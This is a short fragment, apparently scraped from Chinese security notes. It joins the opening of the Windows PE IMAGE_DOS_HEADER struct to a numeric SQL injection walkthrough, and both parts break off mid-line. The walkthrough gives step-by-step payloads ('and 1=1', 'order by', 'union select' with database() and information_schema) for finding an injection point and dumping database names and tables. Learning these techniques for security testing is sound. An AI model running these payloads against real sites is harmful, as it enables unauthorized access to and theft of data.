Dos头结构: typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header WORD e_magic; // Magic number WORD e_cblp; // Bytes on last page of file WORD e_cp; // Pages in file WORD e_crlc; // Relocations WORD e_cparhdr; // Size of header in paragraphs WORD e_mina
SQL注入 1.sqli数字型 判断是否存在注入点,执行1 and 1=1,有回显判断存在注入点 判断字段数,执行1 order by 3以及执行1 order by 4时报错,判断字段数为3 判断具体回显位,执行-1 union select 1,2,3 判断数据库名和当前用户名,执行-1 union select 1,database(),user() 执行 -1 union select 1,(select group_concat(table_name) from information